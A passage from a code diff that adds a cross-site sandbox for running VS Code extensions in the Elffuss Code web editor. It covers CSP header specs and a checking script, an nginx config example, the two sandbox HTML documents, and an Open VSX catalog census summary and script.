34+ "script-src {self-script} blob: 'wasm-unsafe-eval'",
35+ "worker-src blob:",
36+ "child-src blob:",
37+ "frame-src {sandbox}/x2/v1/exthost-iframe.html",
38+ "connect-src blob: data:",
39+ "img-src blob: data:",
40+ "font-src blob: data:",
41+ "style-src 'unsafe-inline'",
42+ "media-src 'none'",
43+ "object-src 'none'",
44+ "manifest-src 'none'",
45+ "base-uri 'none'",
46+ "form-action 'none'",
47+ "frame-ancestors {code}"
48+ ],
49+ "metaFrameSrc": "'self'"
50+ },
51+ "exthost-iframe.html": {
52+ "path": "/x2/v1/exthost-iframe.html",
53+ "query": "^parentOrigin={sandbox-uri}&vscodeWebWorkerExtHostId=[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$",
54+ "inlineScript": "sha256-2EBQn+AFduI8Wb0riLwbeshEGP4dJlHornyvuFAgYnA=",
55+ "library": "@codingame/monaco-vscode-extensions-service-override/vscode/src/vs/workbench/services/extensions/worker/webWorkerExtensionHostIframe.html",
56+ "csp": [
57+ "default-src 'none'",
58+ "script-src {self-script} blob: 'unsafe-eval' 'wasm-unsafe-eval'",
59+ "worker-src blob:",
60+ "child-src blob:",
61+ "connect-src blob: data:",
62+ "img-src blob: data:",
63+ "font-src blob: data:",
64+ "media-src 'none'",
65+ "object-src 'none'",
66+ "manifest-src 'none'",
67+ "base-uri 'none'",
68+ "form-action 'none'",
69+ "frame-ancestors 'self' {code}"
70+ ]
71+ }
72+ }
73+}
added sandbox/x2/headers.mjs +199 −0
@@ -0,0 +1,199 @@
1+#!/usr/bin/env node
2+// Headers of the two sandbox documents, generated from headers.json (the only
3+// source). Used by the test server (tests/lib/x2-server.mjs), by the unit
4+// tests, and to print the nginx snippets for production.
5+//
6+// node sandbox/x2/headers.mjs --check
7+// the documents' inline scripts match their pinned hashes, the meta CSPs
8+// match headers.json, no fetch directive names a host, and (when the
9+// vendor build folder is installed) exthost-iframe.html equals the
10+// library's copy apart from its CSP meta
11+// node sandbox/x2/headers.mjs --pin
12+// recompute sandbox.html's bootstrap hash and write it to headers.json
13+// and to the document's meta CSP
14+// node sandbox/x2/headers.mjs --nginx [--sandbox https://x2.<domain>]
15+// print snippets/x2-sandbox.conf and snippets/x2-exthost.conf for the
16+// production sandbox of headers.json (https://x2.utopiaia.com), or for
17+// the one given (refused when it is not the one headers.json and
18+// config.js name, or is the same site as Code)
19+// node sandbox/x2/headers.mjs --site-check [https://x2.<domain>]
20+// that sandbox origin (by default headers.json's) is another registrable
21+// domain than every Code origin, and both headers.json and
22+// web/js/ext2/config.js name it (deploy-sandbox.sh)
23+import fs from 'node:fs';
24+import path from 'node:path';
25+import crypto from 'node:crypto';
26+import { fileURLToPath } from 'node:url';
27+
28+const HERE = path.dirname(fileURLToPath(import.meta.url));
29+const REPO = path.resolve(HERE, '../..');
30+export const DOCS_DIR = path.join(HERE, 'v1');
31+// fetch directives: none of them may carry a host or a scheme that reaches one
32+const FETCH_DIRECTIVES = ['default-src', 'script-src', 'worker-src', 'child-src', 'connect-src', 'img-src', 'font-src', 'style-src', 'media-src', 'object-src', 'manifest-src'];
33+const ALLOWED_SOURCES = new Set(["'none'", "'self'", 'blob:', 'data:', "'unsafe-inline'", "'unsafe-eval'", "'wasm-unsafe-eval'"]);
34+
35+export function loadSpec() {
36+ return JSON.parse(fs.readFileSync(path.join(HERE, 'headers.json'), 'utf8'));
37+}
38+
39+export const inlineScripts = html => [...html.matchAll(/<script>([\s\S]*?)<\/script>/g)].map(m => m[1]);
40+export const sha256Source = text => "'sha256-" + crypto.createHash('sha256').update(text, 'utf8').digest('base64') + "'";
41+
42+const fill = (s, vars) => s.replace(/\{(sandbox|code|self-script|sandbox-uri)\}/g, (_, k) => vars[k]);
43+
44+function vars(doc, { sandbox, code }) {
45+ if (!sandbox) throw new Error('the sandbox origin is not set');
46+ return {
47+ sandbox,
48+ code: code.join(' '),
49+ 'self-script': "'" + doc.inlineScript + "'",
50+ 'sandbox-uri': encodeURIComponent(sandbox).replace(/[.*+?^${}()|[\]\\]/g, '\\$&'),
51+ };
52+}
53+
54+export function cspFor(name, origins, { meta = false } = {}) {
55+ const spec = loadSpec();
56+ const doc = spec.documents[name];
57+ const v = vars(doc, origins);
58+ return doc.csp
59+ .filter(d => !(meta && d.startsWith('frame-ancestors')))
60+ .map(d => (meta && d.startsWith('frame-src') && doc.metaFrameSrc ? 'frame-src ' + doc.metaFrameSrc : fill(d, v)))
61+ .join('; ');
62+}
63+
64+export function headersFor(name, origins, { insecure = false } = {}) {
65+ const spec = loadSpec();
66+ const h = { ...spec.common };
67+ if (!insecure) h['Content-Security-Policy'] = cspFor(name, origins);
68+ return h;
69+}
70+
71+export function queryAllowed(name, search, origins) {
72+ const spec = loadSpec();
73+ const doc = spec.documents[name];
74+ const q = search.startsWith('?') ? search.slice(1) : search;
75+ return new RegExp(fill(doc.query, vars(doc, origins))).test(q);
76+}
77+
78+export function originsFor(env, { port, sandbox } = {}) {
79+ const e = loadSpec().environments[env];
80+ if (!e) throw new Error('unknown environment ' + env);
81+ const p = s => s && s.replace('{port}', String(port));
82+ return { code: e.code.map(p), sandbox: sandbox || p(e.sandbox) };
83+}
84+
85+// The meta CSP each document must carry: the header policy without
86+// frame-ancestors (a meta tag cannot carry it), with frame-src 'self' where
87+// the header names the exact document of the sandbox origin.
88+export function expectedMeta(name) {
89+ return cspFor(name, { sandbox: 'https://sandbox.invalid', code: ['https://code.invalid'] }, { meta: true });
90+}
91+export const metaOf = html => /<meta http-equiv="Content-Security-Policy" content="([^"]*)"/.exec(html)?.[1] ?? null;
92+
93+export function check() {
94+ const spec = loadSpec();
95+ const problems = [];
96+ for (const [name, doc] of Object.entries(spec.documents)) {
97+ const html = fs.readFileSync(path.join(DOCS_DIR, name), 'utf8');
98+ const scripts = inlineScripts(html);
99+ if (scripts.length !== 1) problems.push(`${name}: expected exactly one inline script, found ${scripts.length}`);
100+ else if (sha256Source(scripts[0]) !== "'" + doc.inlineScript + "'") problems.push(`${name}: inline script hash ${sha256Source(scripts[0])} is not the pinned ${doc.inlineScript}`);
101+ if (/<script[^>]+src=/i.test(html)) problems.push(`${name}: loads a script by URL`);
102+ if (metaOf(html) !== expectedMeta(name)) problems.push(`${name}: meta CSP differs from headers.json`);
103+ for (const d of doc.csp) {
104+ const [dir, ...srcs] = d.split(/\s+/);
105+ if (!FETCH_DIRECTIVES.includes(dir)) continue;
106+ for (const s of srcs) if (!ALLOWED_SOURCES.has(s) && !s.startsWith('{self-script}')) problems.push(`${name}: ${dir} names ${s}`);
107+ }
108+ }
109+ // exthost-iframe.html = the library's document apart from the CSP meta
110+ const lib = path.join(REPO, 'vendor/vscode-ext2/node_modules', spec.documents['exthost-iframe.html'].library);
111+ if (fs.existsSync(lib)) {
112+ const strip = h => h.replace(/<meta http-equiv="Content-Security-Policy" content="[^"]*"\/?>/, '<meta CSP>');
113+ const ours = fs.readFileSync(path.join(DOCS_DIR, 'exthost-iframe.html'), 'utf8');
114+ if (strip(ours) !== strip(fs.readFileSync(lib, 'utf8'))) problems.push('exthost-iframe.html: differs from the library copy beyond the CSP meta');
115+ }
116+ return problems;
117+}
118+
119+function pin() {
120+ const spec = loadSpec();
121+ const file = path.join(DOCS_DIR, 'sandbox.html');
122+ let html = fs.readFileSync(file, 'utf8');
123+ const [script] = inlineScripts(html);
124+ spec.documents['sandbox.html'].inlineScript = sha256Source(script).slice(1, -1);
125+ fs.writeFileSync(path.join(HERE, 'headers.json'), JSON.stringify(spec, null, 2) + '\n');
126+ html = html.replace(/(<meta http-equiv="Content-Security-Policy" content=")[^"]*(")/, `$1${expectedMeta('sandbox.html')}$2`);
127+ fs.writeFileSync(file, html);
128+ console.log('pinned ' + spec.documents['sandbox.html'].inlineScript);
129+}
130+
131+// The nginx snippets. Content-Type comes from nginx's own mime types (the
132+// documents are .html): `charset utf-8;` adds "; charset=utf-8" to it, as
133+// headers.json asks. (`default_type` would only apply to unknown extensions.)
134+export function nginx(sandbox) {
135+ const spec = loadSpec();
136+ const code = spec.environments.production.code;
137+ const out = [];
138+ for (const [name, file] of [['sandbox.html', 'x2-sandbox.conf'], ['exthost-iframe.html', 'x2-exthost.conf']]) {
139+ out.push(`# snippets/${file} (generated by sandbox/x2/headers.mjs from headers.json)`);
140+ for (const [k, v] of Object.entries(headersFor(name, { sandbox, code }))) {
141+ if (k === 'Content-Type') {
142+ if (!/^text\/html; charset=utf-8$/i.test(v)) throw new Error('headers.json: Content-Type must be text/html; charset=utf-8');
143+ out.push('charset utf-8;');
144+ } else out.push(`add_header ${k} "${v.replace(/"/g, '\\"')}" always;`);
145+ }
146+ out.push('');
147+ }
148+ return out.join('\n');
149+}
150+
151+// The sandbox must be ANOTHER SITE than every Code origin (another
152+// registrable domain), or it would share cookies and a process with Code.
153+// web/js/ext2/config.js refuses a same-site sandbox at run time; this refuses
154+// it before anything is deployed.
155+export const productionSandbox = () => loadSpec().environments.production.sandbox || null;
156+
157+export async function siteProblems(sandbox) {
158+ const { sameSite, sandboxOrigin } = await import('../../web/js/ext2/config.js');
159+ const problems = [];
160+ let u;
161+ try { u = new URL(sandbox); } catch { return ['not a URL: ' + sandbox]; }
162+ if (u.protocol !== 'https:' || u.origin !== sandbox.replace(/\/$/, '')) problems.push('the sandbox origin must be https://host, with nothing after it: ' + sandbox);
163+ const named = productionSandbox();
164+ if (named !== u.origin) problems.push(`sandbox/x2/headers.json names ${named || 'no sandbox'} for production, not ${u.origin}`);
165+ for (const code of loadSpec().environments.production.code) {
166+ if (sameSite(code, u.origin)) problems.push(`${u.origin} is the same site as ${code}: use another registrable domain`);
167+ const c = new URL(code);
168+ const configured = sandboxOrigin({ hostname: c.hostname, origin: c.origin, port: c.port });
169+ if (configured !== u.origin) problems.push(`web/js/ext2/config.js names ${configured || 'no sandbox'} for ${c.hostname}, not ${u.origin}`);
170+ }
171+ return problems;
172+}
173+
174+if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) {
175+ const args = process.argv.slice(2);
176+ if (args.includes('--pin')) pin();
177+ // the origin after a flag, or headers.json's production sandbox when none is given
178+ const after = flag => { const v = args[args.indexOf(flag) + 1]; return v && !v.startsWith('--') ? v : null; };
179+ if (args.includes('--site-check')) {
180+ const s = after('--site-check') || productionSandbox() || '';
181+ const problems = await siteProblems(s);
182+ for (const p of problems) console.error(' ✗ ' + p);
183+ console.log(problems.length ? `${problems.length} problems` : `${s} is another site than Code`);
184+ process.exit(problems.length ? 1 : 0);
185+ }
186+ if (args.includes('--nginx')) {
187+ const s = (args.includes('--sandbox') ? after('--sandbox') : productionSandbox()) || '';
188+ if (!/^https:\/\/[a-z0-9.-]+$/.test(s)) { console.error('--nginx needs a sandbox origin https://x2.<domain> (headers.json or --sandbox)'); process.exit(2); }
189+ const problems = await siteProblems(s);
190+ if (problems.length) { for (const p of problems) console.error(' ✗ ' + p); process.exit(1); }
191+ process.stdout.write(nginx(s));
192+ }
193+ if (args.includes('--check') || !args.length) {
194+ const problems = check();
195+ for (const p of problems) console.error(' ✗ ' + p);
196+ console.log(problems.length ? `${problems.length} problems` : 'sandbox documents match headers.json');
197+ process.exit(problems.length ? 1 : 0);
198+ }
199+}
added sandbox/x2/nginx.conf.example +76 −0
@@ -0,0 +1,76 @@
1+# nginx for the level 2 extension sandbox of Elffuss Code, on x2.utopiaia.com:
2+# another registrable domain than code.elffuss.com (web/js/ext2/config.js and
3+# sandbox/x2/headers.json name this origin; deploy-sandbox.sh refuses any
4+# other). Its folder is /var/www/x2.utopiaia.com, the one deploy-sandbox.sh
5+# fills, owned by the user that deploys. Generate the two header snippets with
6+#
7+# node sandbox/x2/headers.mjs --nginx
8+#
9+# and save them as /etc/nginx/snippets/x2-sandbox.conf and x2-exthost.conf.
10+# Order (README, "Extensions that run code"): main's deploy.sh protecting
11+# vendor/x2/ first (deploy-vendor.sh refuses until it does), x2.utopiaia.com
12+# resolving to the server that serves Code and its certificate, this vhost
13+# and Code's vendor location (at the end of this file), nginx -t and reload,
14+# deploy-sandbox.sh, deploy-vendor.sh, and deploy.sh last: it publishes
15+# config.js naming this sandbox, and refuses while the server lacks the bundle
16+# the manifest names.
17+
18+server {
19+ listen 443 ssl; # http2 is per socket: set it where the other vhosts on :443 do
20+ server_name x2.utopiaia.com;
21+ ssl_certificate /etc/letsencrypt/live/x2.utopiaia.com/fullchain.pem;
22+ ssl_certificate_key /etc/letsencrypt/live/x2.utopiaia.com/privkey.pem;
23+ root /var/www/x2.utopiaia.com;
24+ # its own log, with the address truncated (log_format elffuss_anon of the
25+ # server's conf.d/elffuss-zones.conf): no record of who loaded it
26+ access_log /var/log/nginx/x2.utopiaia.com.access.log elffuss_anon;
27+ error_log /var/log/nginx/x2.utopiaia.com.error.log;
28+ autoindex off;
29+ server_tokens off;
30+
31+ # the sandbox document: only with no query string at all
32+ location = /x2/v1/sandbox.html {
33+ if ($args != "") { return 404; }
34+ include snippets/x2-sandbox.conf;
35+ try_files $uri =404;
36+ }
37+
38+ # the extension-host document: only the exact query the library builds
39+ location = /x2/v1/exthost-iframe.html {
40+ if ($args !~ "^parentOrigin=https%3A%2F%2Fx2\.utopiaia\.com&vscodeWebWorkerExtHostId=[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$") { return 404; }
41+ include snippets/x2-exthost.conf;
42+ try_files $uri =404;
43+ }
44+
45+ # nothing else exists on this host
46+ location / { return 404; }
47+}
48+
49+server {
50+ listen 80;
51+ server_name x2.utopiaia.com;
52+ access_log /var/log/nginx/x2.utopiaia.com.access.log elffuss_anon;
53+ # in a location, not at server level: a server-level return runs before
54+ # certbot's nginx authenticator gets to answer the HTTP-01 challenge, and the
55+ # certificate would stop renewing
56+ location / { return 301 https://$host$request_uri; }
57+}
58+
59+# In the server block of Code (code.elffuss.com), for the verified vendor
60+# bundle that deploy-vendor.sh uploads (never compressed again on the way, so
61+# the browser checks the exact bytes of the manifest):
62+#
63+# location ^~ /vendor/x2/ {
64+# default_type application/octet-stream;
65+# gzip off;
66+# add_header Cache-Control "public, max-age=31536000, immutable";
67+# add_header X-Content-Type-Options nosniff always;
68+# }
69+#
70+# No `always` on Cache-Control: nginx then adds it only to successful
71+# responses. With `always`, a 404 for a build that is not there yet would be
72+# cached as immutable for a year, and since the buildId is a content hash,
73+# uploading the same bytes later would not help those browsers.
74+#
75+# Code's host must never serve /x2/ (the sandbox documents live outside web/,
76+# so deploy.sh never uploads them).
added sandbox/x2/v1/exthost-iframe.html +119 −0
@@ -0,0 +1,119 @@
1+<!DOCTYPE html>
2+<html>
3+ <head>
4+ <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'sha256-2EBQn+AFduI8Wb0riLwbeshEGP4dJlHornyvuFAgYnA=' blob: 'unsafe-eval' 'wasm-unsafe-eval'; worker-src blob:; child-src blob:; connect-src blob: data:; img-src blob: data:; font-src blob: data:; media-src 'none'; object-src 'none'; manifest-src 'none'; base-uri 'none'; form-action 'none'"/>
5+ </head>
6+ <body>
7+ <script>
8+(function () {
9+ const searchParams = new URL(document.location.href).searchParams;
10+ const vscodeWebWorkerExtHostId = searchParams.get('vscodeWebWorkerExtHostId') || '';
11+ const name = searchParams.get('debugged') ? 'DebugExtensionHostWorker' : 'ExtensionHostWorker';
12+ const parentOriginParam = searchParams.get('parentOrigin');
13+ const parentOrigin = parentOriginParam || window.origin;
14+ const salt = searchParams.get('salt');
15+
16+ (async function () {
17+ return start();
18+ })();
19+
20+ function sendError(error) {
21+ window.parent.postMessage({
22+ vscodeWebWorkerExtHostId,
23+ error: {
24+ name: error ? error.name : '',
25+ message: error ? error.message : '',
26+ stack: error ? error.stack : []
27+ }
28+ }, '*');
29+ }
30+
31+ function start() {
32+
33+ // Before we can load the worker, we need to get the current set of NLS
34+ // configuration into this iframe. We ask the parent window to send it
35+ // together with the necessary information to load the worker via Blob.
36+
37+ const bootstrapNlsType = 'vscode.bootstrap.nls';
38+
39+ self.onmessage = (event) => {
40+ if (event.origin !== parentOrigin || event.data.type !== bootstrapNlsType) {
41+ return;
42+ }
43+ const { data } = event.data;
44+ createWorker(data.workerUrl, data.workerOptions, data.fileRoot, data.nls.messages, data.nls.language);
45+ };
46+
47+ window.parent.postMessage({
48+ vscodeWebWorkerExtHostId,
49+ type: bootstrapNlsType
50+ }, '*');
51+ }
52+
53+ function createWorker(workerUrl, workerOptions, fileRoot, nlsMessages, nlsLanguage) {
54+ try {
55+ if (globalThis.crossOriginIsolated) {
56+ workerUrl += '?vscode-coi=2'; // COEP
57+ }
58+
59+ // In below blob code, we are using JSON.stringify to ensure the passed
60+ // in values are not breaking our script. The values may contain string
61+ // terminating characters (such as ' or ").
62+
63+ const blob = new Blob([[
64+ `/*extensionHostWorker*/`,
65+ `globalThis._VSCODE_NLS_MESSAGES = ${JSON.stringify(nlsMessages)};`,
66+ `globalThis._VSCODE_NLS_LANGUAGE = ${JSON.stringify(nlsLanguage)};`,
67+ `globalThis._VSCODE_FILE_ROOT = ${JSON.stringify(fileRoot)};`,
68+ (workerOptions?.type === 'module') ? `await import('${workerUrl}');` : `importScripts('${workerUrl}');`,
69+ `/*extensionHostWorker*/`
70+ ].join('')], { type: 'application/javascript' });
71+
72+ const worker = new Worker(URL.createObjectURL(blob), { name, ...workerOptions });
73+ const nestedWorkers = new Map();
74+
75+ worker.onmessage = (event) => {
76+ const { data } = event;
77+
78+ if (data?.type === '_newWorker') {
79+ const { id, port, url, options } = data;
80+ const newWorker = new Worker(url, options);
81+ newWorker.postMessage(port, [port]);
82+ newWorker.onerror = console.error.bind(console);
83+ nestedWorkers.set(id, newWorker);
84+
85+ } else if (data?.type === '_terminateWorker') {
86+ const { id } = data;
87+ if (nestedWorkers.has(id)) {
88+ nestedWorkers.get(id).terminate();
89+ nestedWorkers.delete(id);
90+ }
91+ } else {
92+ worker.onerror = console.error.bind(console);
93+ window.parent.postMessage({
94+ vscodeWebWorkerExtHostId,
95+ data
96+ }, parentOrigin, [data]);
97+ }
98+ };
99+
100+ worker.onerror = (event) => {
101+ console.error(event.message, event.error);
102+ sendError(event.error);
103+ };
104+
105+ self.onmessage = (event) => {
106+ if (event.origin !== parentOrigin) {
107+ return;
108+ }
109+ worker.postMessage(event.data, event.ports);
110+ };
111+ } catch (err) {
112+ console.error(err);
113+ sendError(err);
114+ }
115+ }
116+})();
117+ </script>
118+ </body>
119+</html>
added sandbox/x2/v1/sandbox.html +124 −0
@@ -0,0 +1,124 @@
1+<!doctype html>
2+<html lang="en">
3+<head>
4+<meta charset="utf-8">
5+<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'sha256-/luUDdba82j70NvkxS1nxDvTfjxLjRfnpKE6sqiin3U=' blob: 'wasm-unsafe-eval'; worker-src blob:; child-src blob:; frame-src 'self'; connect-src blob: data:; img-src blob: data:; font-src blob: data:; style-src 'unsafe-inline'; media-src 'none'; object-src 'none'; manifest-src 'none'; base-uri 'none'; form-action 'none'">
6+<meta name="referrer" content="no-referrer">
7+<title>Elffuss Code extension sandbox</title>
8+</head>
9+<body>
10+<script>
11+// Extension sandbox of Elffuss Code. This document lives on its own site,
12+// with no network host in any CSP directive. Code's page frames it, hands it
13+// the verified vendor bundle and its own relay script over a MessagePort, and
14+// renders nothing that comes out of it except as plain data.
15+(() => {
16+ 'use strict';
17+ const CODE_ORIGINS = ['https://code.elffuss.com'];
18+ const here = window.location;
19+ // Development: Code on http://127.0.0.1:<port>, sandbox on http://localhost:<port>.
20+ const devParent = o => here.hostname === 'localhost' && o === 'http://127.0.0.1:' + here.port;
21+ const allowedParent = o => CODE_ORIGINS.includes(o) || devParent(o);
22+
23+ // 1. Run only when framed directly by Code's page, and never on Code's own origin.
24+ if (window.parent === window || CODE_ORIGINS.includes(here.origin)) return;
25+ const ancestors = here.ancestorOrigins;
26+ if (!ancestors || ancestors.length !== 1 || !allowedParent(ancestors[0]) || ancestors[0] === here.origin) return;
27+ const parentOrigin = ancestors[0];
28+ const tell = msg => window.parent.postMessage(msg, parentOrigin);
29+
30+ // 3. No popups and no peer connections from this realm.
31+ const GLOBALS = ['open', 'RTCPeerConnection', 'webkitRTCPeerConnection', 'RTCDataChannel'];
32+ const removeGlobals = w => {
33+ for (const k of GLOBALS) {
34+ try { Object.defineProperty(w, k, { value: undefined, writable: false, configurable: false }); } catch { /* already gone */ }
35+ }
36+ };
37+ removeGlobals(window);
38+
39+ // 4. This document never navigates.
40+ let port = null, navBlocked = 0;
41+ const lockNavigation = (w, where) => {
42+ if (!w.navigation) return;
43+ w.navigation.addEventListener('navigate', e => {
44+ navBlocked++;
45+ if (e.cancelable) e.preventDefault();
46+ try { port && port.postMessage({ t: 'log', level: 'warn', text: where + ' navigation blocked' }); } catch { /* port closed */ }
47+ });
48+ };
49+ lockNavigation(window, 'sandbox');
50+
51+ // 4b. The extension-host frame the library creates here (same site) gets the
52+ // same treatment once it loads. It is never reloaded on purpose, so a
53+ // second load means it navigated: everything stops.
54+ const watchFrame = f => {
55+ if (watched.has(f)) return;
56+ watched.add(f);
57+ let loads = 0;
58+ f.addEventListener('load', () => {
59+ if (++loads > 1) {
60+ try { port && port.postMessage({ t: 'fatal', reason: 'navigated', text: 'the extension host frame navigated' }); } catch { /* port closed */ }
61+ return;
62+ }
63+ try { removeGlobals(f.contentWindow); lockNavigation(f.contentWindow, 'extension host'); } catch { /* not ours */ }
64+ });
65+ };
66+ const watched = new WeakSet();
67+ new MutationObserver(records => {
68+ for (const r of records) for (const n of r.addedNodes) {
69+ if (n.nodeName === 'IFRAME') watchFrame(n);
70+ else if (n.querySelectorAll) n.querySelectorAll('iframe').forEach(watchFrame);
71+ }
72+ }).observe(document.documentElement, { childList: true, subtree: true });
73+
74+ // 2. CSP self-test: a request to a name that never resolves must be refused
75+ // by the policy itself. Without that refusal, nothing starts.
76+ const selfTest = () => new Promise(resolve => {
77+ let seen = false, settled = false;
78+ const done = () => { if (!settled) { settled = true; document.removeEventListener('securitypolicyviolation', onViolation); resolve(seen); } };
79+ const onViolation = e => { if (String(e.blockedURI || '').startsWith('https://csp-selftest.invalid')) { seen = true; done(); } };
80+ document.addEventListener('securitypolicyviolation', onViolation);
81+ fetch('https://csp-selftest.invalid/').catch(() => {}).finally(() => setTimeout(done, 500));
82+ });
83+
84+ let booted = false;
85+ async function boot(d) {
86+ const urls = {};
87+ for (const f of d.vendor) urls[f.role] = URL.createObjectURL(new Blob([f.bytes], { type: 'text/javascript' }));
88+ if (!urls.main || !urls.extensionHostWorkerMain || !urls.editorWorkerService) throw new Error('incomplete vendor bundle');
89+ self.MonacoEnvironment = {
90+ getWorkerUrl: (_, label) => urls[label],
91+ getWorkerOptions: () => ({ type: 'module' }),
92+ };
93+ const m = await import(urls.main);
94+ m.registerAssets({
95+ 'vs/workbench/services/extensions/worker/webWorkerExtensionHostIframe.html': () => here.origin + '/x2/v1/exthost-iframe.html',
96+ });
97+ const relay = await import(URL.createObjectURL(new Blob([d.relay], { type: 'text/javascript' })));
98+ await relay.start({ m, port, config: d.config, sandbox: { navBlocked: () => navBlocked } });
99+ }
100+
101+ function onInit(e) {
102+ if (port || e.source !== window.parent || e.origin !== parentOrigin) return;
103+ const d = e.data;
104+ if (!d || d.x2 !== 'init' || !e.ports || e.ports.length !== 1) return;
105+ window.removeEventListener('message', onInit);
106+ port = e.ports[0];
107+ port.onmessage = ev => {
108+ const m = ev.data;
109+ if (booted || !m || m.t !== 'boot') return;
110+ booted = true;
111+ port.onmessage = null;
112+ boot(m).catch(err => port.postMessage({ t: 'fatal', reason: 'boot', text: String((err && err.message) || err).slice(0, 500) }));
113+ };
114+ }
115+
116+ selfTest().then(ok => {
117+ if (!ok) { tell({ x2: 'fatal', reason: 'csp' }); return; }
118+ window.addEventListener('message', onInit);
119+ tell({ x2: 'hello', v: 1 });
120+ });
121+})();
122+</script>
123+</body>
124+</html>
added tests/catalog-census/extensions.tsv +0 −0

Not shown: the file is larger than the hub shows, or this page holds as much as it shows. View the file.

added tests/catalog-census/summary.json +104 −0
@@ -0,0 +1,104 @@
1+{
2+ "schema": 1,
3+ "date": "2026-10-11",
4+ "method": "Static census: every extension that the Open VSX search lists, its latest package.json (for one published per platform, the web build of that version if it has one, else the listed platform build), classified with Elffuss Code's panel rules (web/js/ext2/classify.js; Monaco 0.52.2's built-in languages; the runtime census in web/js/ext2/tested.json for the top 500). Nothing was downloaded as a .vsix, installed or run. \"Runs in the sandbox\" assumes a browser and a site where level 2 is available.",
5+ "catalog": 19338,
6+ "catalogWhenTheListingStarted": 19336,
7+ "listed": 19338,
8+ "notReachableBySearch": 0,
9+ "ranks": "all",
10+ "read": 19337,
11+ "unreadable": 1,
12+ "requests": 20244,
13+ "extensions": 19337,
14+ "browserEntry": 893,
15+ "runsInSandbox": 849,
16+ "nodeOnly": 15729,
17+ "noCode": 2715,
18+ "declarativeApplies": 5610,
19+ "worksInCode": 6152,
20+ "worksOnlyThroughCode": 542,
21+ "nothingWorks": 13185,
22+ "browser": {
23+ "runsAndShowsWorkbenchParts": 384,
24+ "runsWithProposedApis": 32,
25+ "cannotRun": 44,
26+ "whyCannotRun": {
27+ "engine": 3,
28+ "never": 11,
29+ "census": 32
30+ },
31+ "missingDependencies": 52,
32+ "testedInCode": 89
33+ },
34+ "workbenchContributions": {
35+ "views": 6221,
36+ "viewsContainers": 5502,
37+ "viewsWelcome": 1494,
38+ "customEditors": 990,
39+ "notebooks": 86,
40+ "notebookRenderer": 66,
41+ "walkthroughs": 709,
42+ "debuggers": 487,
43+ "breakpoints": 401,
44+ "terminal": 91,
45+ "taskDefinitions": 333,
46+ "problemMatchers": 174,
47+ "authentication": 98,
48+ "chatParticipants": 248,
49+ "languageModelTools": 233,
50+ "mcpServerDefinitionProviders": 376,
51+ "resourceLabelFormatters": 68,
52+ "statusBarItems": 3,
53+ "remoteHelp": 2,
54+ "typescriptServerPlugins": 73
55+ },
56+ "packs": 452,
57+ "webBuilds": 15,
58+ "bands": {
59+ "top100": {
60+ "extensions": 100,
61+ "browserEntry": 24,
62+ "runsInSandbox": 15,
63+ "nodeOnly": 70,
64+ "noCode": 6,
65+ "declarativeApplies": 51,
66+ "worksInCode": 58,
67+ "worksOnlyThroughCode": 7,
68+ "nothingWorks": 42
69+ },
70+ "top500": {
71+ "extensions": 500,
72+ "browserEntry": 89,
73+ "runsInSandbox": 56,
74+ "nodeOnly": 307,
75+ "noCode": 104,
76+ "declarativeApplies": 246,
77+ "worksInCode": 280,
78+ "worksOnlyThroughCode": 34,
79+ "nothingWorks": 220
80+ },
81+ "top1000": {
82+ "extensions": 1000,
83+ "browserEntry": 151,
84+ "runsInSandbox": 116,
85+ "nodeOnly": 694,
86+ "noCode": 155,
87+ "declarativeApplies": 449,
88+ "worksInCode": 516,
89+ "worksOnlyThroughCode": 67,
90+ "nothingWorks": 484
91+ },
92+ "top5000": {
93+ "extensions": 4999,
94+ "browserEntry": 433,
95+ "runsInSandbox": 397,
96+ "nodeOnly": 3894,
97+ "noCode": 672,
98+ "declarativeApplies": 1709,
99+ "worksInCode": 1933,
100+ "worksOnlyThroughCode": 224,
101+ "nothingWorks": 3066
102+ }
103+ }
104+}
added tests/catalog_census.mjs +258 −0
@@ -0,0 +1,258 @@
1+// Static census of the WHOLE Open VSX catalog (manual, run once by the owner):
2+// every extension's package.json, classified with the panel's own rules
3+// (web/js/ext2/classify.js), so the README gives exact counts instead of an
4+// extrapolation from a sample.
5+//
6+// node tests/catalog_census.mjs
7+// every extension: about 20,000 requests to the Open VSX API, at most
8+// 2.5 a second (the API allows 3), resumable (see below); writes
9+// tests/catalog-census/summary.json and extensions.tsv (committed)
10+// node tests/catalog_census.mjs --ranks 1-20,10001-10020
11+// only those download ranks (one block from each end of the paging),
12+// to try it: a few dozen requests; writes
13+// tests/.cache/catalog/summary-ranks.json
14+// node tests/catalog_census.mjs --recount
15+// no network: classify again what the cache holds (after a rule change)
16+// options: --gap <ms between two requests, 400> --out <folder>
17+//
18+// Listing: the search API stops at offset 10,000, so ranks up to 10,000 are
19+// read by downloads, descending, and the rest from the other end, ascending.
20+// Extensions with equal download counts can come back in a different order
21+// from the two ends, so one may appear twice and another never: the listing is
22+// always completed by a second pass sorted by publication date (those found
23+// only there have no rank), and whatever is still missing is counted and said.
24+//
25+// Manifests: for an extension published for all platforms, its package.json
26+// by its listed version (one request). For one published per platform, the
27+// "web" build of that same version if it has one (as tests/x2_census.mjs
28+// does; an older web build is not what an install gets), or else the listed
29+// platform's (two requests). No .vsix is ever downloaded and nothing is
30+// installed or run: that is tests/x2_census.mjs, on the top 500.
31+//
32+// What it reads goes to tests/.cache/catalog/raw.jsonl (one line per
33+// extension, the manifest without its build-only fields), so a stopped run
34+// continues where it was, and --recount classifies again without the network.
35+// Built-in languages are Monaco 0.52.2's (tests/lib/monaco-languages.json), as
36+// the panel sees them. The summary has counts, the date and the number of
37+// requests; no timings.
38+import fs from 'node:fs';
39+import path from 'node:path';
40+import { fileURLToPath } from 'node:url';
41+import { classify, WORKBENCH } from '../web/js/ext2/classify.js';
42+
43+const HERE = path.dirname(fileURLToPath(import.meta.url));
44+const API = 'https://open-vsx.org';
45+const CAP = 10000; // la búsqueda no pasa de este desplazamiento
46+const arg = (k, d) => { const i = process.argv.indexOf(k); return i > 0 ? process.argv[i + 1] : d; };
47+const GAP = Number(arg('--gap', 400));
48+const RANKS = arg('--ranks', '') ? arg('--ranks').split(',').map(r => r.split('-').map(Number)) : null;
49+const RECOUNT = process.argv.includes('--recount');
50+const CACHE = path.join(HERE, '.cache', 'catalog');
